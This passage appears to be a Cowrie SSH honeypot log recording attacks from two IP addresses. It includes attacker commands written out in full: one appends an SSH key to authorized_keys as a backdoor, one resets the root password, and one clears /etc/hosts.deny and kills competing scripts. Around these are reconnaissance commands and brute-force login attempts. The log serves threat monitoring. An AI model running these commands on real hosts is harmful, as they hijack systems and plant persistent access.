AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:34.061314Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:34.241899Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:34.245813Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.212.22","src_port":36436,"dst_ip":"159.203.135.109","dst_port":22,"session":"14e24d0feee3","protocol":"ssh","message":"New connection: 43.133.212.22:36436 (159.203.135.109:22) [session: 14e24d0feee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:34.391540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:34.395694Z","src_ip":"43.133.212.22","session":"14e24d0feee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:34.555551Z","src_ip":"43.133.212.22","session":"14e24d0feee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:35.660621Z","src_ip":"43.133.212.22","session":"14e24d0feee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:36.864869Z","src_ip":"43.133.212.22","session":"14e24d0feee3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:43.089949Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:43.092513Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:43.273132Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:43.661272Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:fYLnisk3aMjo\"|chpasswd|bash","message":"CMD: echo \"root:fYLnisk3aMjo\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:43.663831Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e790247dcc5e14517e7ad7bcfaa2ca2a731258473419873cca7b9714fab0b361","size":24,"shasum":"e790247dcc5e14517e7ad7bcfaa2ca2a731258473419873cca7b9714fab0b361","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e790247dcc5e14517e7ad7bcfaa2ca2a731258473419873cca7b9714fab0b361 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:43.844340Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:44.292958Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:44.296304Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:44.482013Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:44.485804Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:44.869867Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:44.873037Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:45.055724Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:45.449741Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:45.454092Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:45.641186Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:46.038375Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:46.041917Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:46.045238Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:46.228305Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:46.625295Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:46.628274Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:46.813133Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:47.606369Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:47.609598Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:47.797114Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.207566Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.210886Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.405275Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":45952,"dst_ip":"159.203.135.109","dst_port":22,"session":"62d9f1f00287","protocol":"ssh","message":"New connection: 212.11.64.156:45952 (159.203.135.109:22) [session: 62d9f1f00287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.747276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.751684Z","src_ip":"212.11.64.156","session":"62d9f1f00287","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.794646Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.797381Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.865140Z","src_ip":"212.11.64.156","session":"62d9f1f00287","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:48.985350Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:49.375269Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:49.378539Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public","password":"12345","message":"login attempt [public/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:49.385189Z","src_ip":"212.11.64.156","session":"62d9f1f00287","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:49.560309Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:50.383992Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:50.387450Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:50.504881Z","src_ip":"212.11.64.156","session":"62d9f1f00287","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:50.573024Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:50.958670Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:50.962269Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:51.142688Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:51.527410Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:51.530197Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:51.712928Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:52.102008Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:52.104902Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
